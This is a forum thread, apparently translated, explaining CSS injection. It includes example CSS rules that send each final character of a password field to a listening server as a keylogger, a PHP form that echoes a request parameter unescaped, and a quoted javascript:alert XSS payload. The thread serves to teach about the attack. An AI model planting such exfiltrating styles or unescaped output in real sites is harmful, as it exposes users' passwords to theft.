CSS Injection is rather an attack that can sometimes become worrisome, but it depends a lot on your application, usually applications like Wordpress in which allows the user to insert their own CSS is more vulnerable to this type of attack, the most common to see is using the CSS background, you may have noticed that it uses the parameter url
it is possible to add an external URL in this style. With this possibility it is possible to hookar keystroke events and create a style for each keystroke an example.
If you have a form with a input
which contains a password:
<input type="password" />
It would be possible in this way, the attacker inject a CSS that hooka this event, thus remaining:
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }
You adding a server that listens to these requests would be possible to know which key to was pressed, just as the key would be possible b, c and so on, it’s laborious but it’s completely possible to create a keylogger in CSS. It is also possible to insert a Javascript among other options. If you want to analyze one in a keylogger CSS, see this link.
Edited
To clarify the comments, you would rather need something to trigger the event, in case a Javascript itself, but what I wanted to pass here was the idea of CSS. With the Javascript code added would work the keylogger, but it is notorious that the fault is not occurred by Javascript but by the CSS URL:
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
And even if Javascript is not added, it would be possible to capture the data, not acting as a keylogger exactly, but still working, because even if the CSS does not work as a Systener, there are still forms that are filled in values by PHP, an example that still occurs today:
<form>
<input type="login" value="<?php echo $_GET['login']; ?>" />
</form>
You might also have noticed that he will only take the last letter. But the point here is that it is possible to pick up what you typed, even if it is not the whole word.
Good question. I’ve never seen that term before either. Does it have anything to do with XSS?
– Luiz Felipe
XSS is something related to cross script? If it is I think it can have to do yes... I am very lay in this area, but I was very curious! But since I no longer understand this type of subject and the little that I found was still in English, it became difficult to really understand what it is and what the technique is. I was wondering if the browser itself is monitoring and blocks this, or what kind of care we should take. I thought it would be nice to bring the topic to the community and see if anyone has any knowledge to give us some tips :)
– hugocsl
The famous Myspace Worm was an injection of code attack by CSS, wasn’t it? Sammy even describes how the code works on the https://samy.pl/myspace/tech.htmlwebsite
– Andre
XSS is the same as cross-site-scripting. : ) I found a slightly interesting article about css Injection. I’ll try to do more research and maybe try to come up with an answer. :))
– Luiz Felipe
@Luizfelipe cool young, if you can bring a didactic response to who is not much of the area would be interesting. This link that Andre mentioned is very interesting! I was faced with this
<div style="background:url('javascript:alert(1)')">
and that’s just the first step of the 11 that he describes there. Very interesting indeed!– hugocsl